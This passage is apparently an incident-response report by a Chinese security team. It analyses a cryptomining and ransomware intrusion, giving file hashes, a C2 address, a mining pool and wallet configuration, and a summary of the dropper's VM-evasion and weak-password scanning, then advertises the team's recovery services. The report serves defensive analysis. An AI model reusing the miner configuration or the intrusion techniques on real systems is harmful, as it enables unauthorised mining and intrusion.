C:\ProgramData\Microsoft\Windows\WER\Temp\WER4562.tmp.csv  
C:\ProgramData\Microsoft\Windows\WER\Temp\WER4573.tmp.txt  
C:\Windows\System32\spp\store\2.0\cache\cache.dat

  在其中找到了字符串

https://xmrig.com/docs/algorithms

  猜测此程序为挖矿程序

3.3.5 小结

  dgbggrcn.exe首先判断环境中是否TXnbib.dll,若存在,则直接调用TXnbib.dll导出表中的恶意函数,若环境中不存在,则在自己的程序内部解密出TXnbib.dll后运行其中的恶意函数

  在TXnbib.dll会对电脑的环境进行检查,若电脑处于调试环境或者虚拟机环境中则不运行恶意行为,同时此程序会扫描电脑开放的端口,并使用常见的弱密码尝试获得权限

  TXnbib.dll会请求 216.105.98.122:3666 (mon.nishabig.pro),具体作用未知

  TXnbib.dll会释放1HI.exe,在1HI.exe会删除系统相关的日志文件,并在其中找到了矿池的相关链接,猜测为挖矿程序

3.4 admin.exe文件信息

3.4.1 程序一

文件名admin.exe
操作系统Windows
大小脱壳前 2189824 bytes 脱壳后 6361088 bytes
架构amd64
类型exe
字节序Little Endian
SHA2562f10ce62e3fcf5c0b2db110211503bc0b857226b65e826300d14af0c040dd7d8
脱壳后SHA256b2ec051d1886f1476b0575e3e02f1d0f3eb9bd7c7bab10a89212901674d4e6c9

3.4.2 程序二

文件名WinRing0x64.sys
操作系统Windows
大小14544 bytes
架构amd64
类型sys
字节序Little Endian
SHA25611bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5

3.4.3 程序三

文件名Config.json
大小2973 bytes
类型json
SHA256571d9b1fa9bb8f597ab43717409a90dcf30cb1459797c4a7f1a160c8fe6ef2c0

3.3.4 逆向分析

  使用upx脱壳机脱壳后,拖进ida打开。

  由信息可初步断定该文件为XMRig 6.21.2程序文件,使用vs编译。

  该文件为开源程序,github下载链接: https://github.com/xmrig****。下载为XMRig 6.21.2程序文件,使用010 editor对比其中的WinRing0x64.sys;

  使用bindiff对比其中的xmrig.exe和admin.exe;

代码部分完全相同。

  各文件作用如下:

WinRing0x64.sysXMRig矿机使用的驱动组件
admin.exe矿机主程序
Config.json矿机配置文件,包含钱包地址,钱包密码,矿池地址

  Config.json内容:

矿池地址auto.c3pool.org:443
钱包地址48VcHM6iD4kfXn2pLxVnFjGoapwXZQT9vc5gwJn3ecgxJdtidzqxgiX76TxEbDJKtggtGzWSQo5rfY9z5i8XLnWE5mgSMAi
钱包密码new

3.3.5 小结

  此次分析该软件为XMRig挖矿软件的原版程序文件及配置。XMRig 恶意软件在后台运行,使用受害者的 CPU 或 GPU 执行复杂的计算,以挖掘门罗币。XMRig 恶意软件与攻击者控制的指挥和控制(C2)服务器通信。C2 服务器为恶意软件提供挖矿的配置设置,并接收有关挖矿进度和挖掘的加密货币的更新。

4.解密恢复

  Solar团队安排工程师去到客户现场,线下协助客户进行勒索病毒解密恢复,最终成功解密和恢复了被加密的数据文件,同时还对客户的网络安全情况做了全面的评估,并提供了相应的解决方法和建设思路,获得了客户的高度好评。

解密前

解密后

5.后门排查

  完成解密后,Solar团队使用专用后门排查工具对客户服务器的自启动项、计划任务、可疑网络连接、账号密码强度、可疑进程等项目进行了排查,将遗留后门全部清除。并对隐患项提出了安全加固建议,确保不存在遗留后门,并对服务器进行快照及备份处理。下表为安全加固排查总表:

6.渗透测试

本次渗透测试经客户授权前提下操作

6.1 渗透测试结果

  本次渗透测试目标为:

  本次渗透测试共发现12个漏洞,其中8个高危,5个中危,漏洞类型包括:SQL注入漏洞、弱口令漏洞、未授权访问漏洞、目录遍历漏洞、文件上传漏洞。

7.安全建议

1. 风险消减措施

  资产梳理排查目标: 根据实际情况,对内外网资产进行分时期排查

  服务方式: 调研访谈、现场勘查、工具扫描

  服务关键内容: 流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查

2. 安全设备调优

目标

  通过对安全现状的梳理和分析,识别安全策略上的不足,结合目标防御、权限最小化、缩小攻击面等一系列参考原则,对设备的相关配置策略进行改进调优,一方面,减低无效或低效规则的出现频次;另一方面,对缺失或遗漏的规则进行补充,实现将安全设备防护能力最优化。

主要目标设备

  网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。

3. 全员安全意识增强调优

目标:

  通过网络安全意识宣贯、培训提升全方位安全能力

形式:

  培训及宣贯

线下培训课表

  若无法组织线下的集体培训,考虑两种方式:

    1.提供相关的安全意识培训材料,由上而下分发学习

    2.组织相关人员线上开会学习。线上培训模式。

线上学习平台

  以下是solar安全团队近期处理过的常见勒索病毒后缀:后缀.360勒索病毒,.halo勒索病毒,.phobos勒索病毒,.Lockfiles勒索病毒,.stesoj勒索病毒,.src勒索病毒,.svh勒索病毒,.Elbie勒索病毒,.Wormhole勒索病毒.live勒索病毒, .rmallox勒索病毒, .mallox 勒索病毒,.hmallox勒索病毒,.jopanaxye勒索病毒, .2700勒索病毒, .elbie勒索病毒, .mkp勒索病毒, .dura勒索病毒, .halo勒索病毒, .DevicData勒索病毒, .faust勒索病毒, ..locky勒索病毒, .cryptolocker勒索病毒, .cerber勒索病毒, .zepto勒索病毒, .wannacry勒索病毒, .cryptowall勒索病毒, .teslacrypt勒索病毒, .gandcrab勒索病毒, .dharma勒索病毒, .phobos勒索病毒, .lockergoga勒索病毒, .coot勒索病毒, .lockbit勒索病毒, .nemty勒索病毒, .contipa勒索病毒, .djvu勒索病毒, .marlboro勒索病毒, .stop勒索病毒, .etols勒索病毒, .makop勒索病毒, .mado勒索病毒, .skymap勒索病毒, .aleta勒索病毒, .btix勒索病毒, .varasto勒索病毒, .qewe勒索病毒, .mylob勒索病毒, .coharos勒索病毒, .kodc勒索病毒, .tro勒索病毒, .mbed勒索病毒, .wannaren勒索病毒, .babyk勒索病毒, .lockfiles勒索病毒, .locked勒索病毒, .DevicData-P-XXXXXXXX勒索病毒, .lockbit3.0勒索病毒, .blackbit勒索病毒等。

  勒索攻击作为成熟的攻击手段,很多勒索家族已经形成了一套完整的商业体系,并且分支了很多团伙组织,导致勒索病毒迭代了多个版本。而每个家族擅用的攻击手法皆有不同,TellYouThePass勒索软件家族常常利用系统漏洞进行攻击;Phobos勒索软件家族通过RDP暴力破解进行勒索;Mallox勒索软件家族利用数据库及暴力破解进行加密,攻击手法极多防不胜防。

  而最好的预防方法就是针对自身业务进行定期的基线加固、补丁更新及数据备份,在其基础上加强公司安全人员意识。如果您想了解有关勒索病毒的最新发展情况,或者需要获取相关帮助,请关注“solar专业应急响应团队”。

8.团队介绍

  团队坚持自主研发及创新,在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入,目前已获得十几项专利及知识产权。团队也先后通过了ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS(信息技术服务运行维护标准四级)等认证,已构建了网络安全行业合格的资质体系;

9.我们的数据恢复服务流程

  多年的数据恢复处理经验,在不断对客户服务优化的过程中搭建了"免费售前+安心保障+专业恢复+安全防御"一体化的专业服务流程。

① 免费咨询/数据诊断分析

​   专业的售前技术顾问服务,免费在线咨询,可第一时间获取数据中毒后的正确处理措施,防范勒索病毒在内网进一步扩散或二次执行,避免错误操作导致数据无法恢复。

​   售前技术顾问沟通了解客户的机器中毒相关信息,结合团队数据恢复案例库的相同案例进行分析评估,初步诊断分析中毒数据的加密/损坏情况。

② 评估报价/数据恢复方案

​   您获取售前顾问的初步诊断评估信息后,若同意进行进一步深入的数据恢复诊断,我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。

​   专业数据恢复工程师根据数据检测分析结果,定制数据恢复方案(恢复价格/恢复率/恢复工期),并为您解答数据恢复方案的相关疑问。

③ 确认下单/签订合同

​   您清楚了解数据恢复方案后,您可自主选择以下下单方式:

  双方签署对公合同:根据中毒数据分析情况,量身定制输出数据恢复合同,合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款,双方合同签订,正式进入数据恢复专业施工阶段,数据恢复后进行验证确认,数据验证无误,交易完成。

④ 开始数据恢复专业施工

  安排专业数据恢复工程师团队全程服务,告知客户数据恢复过程注意事项及相关方案措施,并可根据客户需求及数据情况,可选择上门恢复/远程恢复。

  数据恢复过程中,团队随时向您报告数据恢复每一个节点工作进展(数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认)。

⑤ 数据验收/安全防御方案

  完成数据恢复后,我司将安排数据分析工程师进行二次检查确认数据恢复完整性,充分保障客户的数据恢复权益,二次检测确认后,通知客户进行数据验证。

  客户对数据进行数据验证完成后,我司将指导后续相关注意事项及安全防范措施,并可提供专业的企业安全防范建设方案及安全顾问服务,抵御勒索病毒再次入侵。

                      我们在此郑重承诺:

                     不成功不收费

                     全程一对一服务

                     365天不间断服务

                     免费提供安全方案

                     24h服务热线:

                     18894665383

                     17864099776

                     18299173318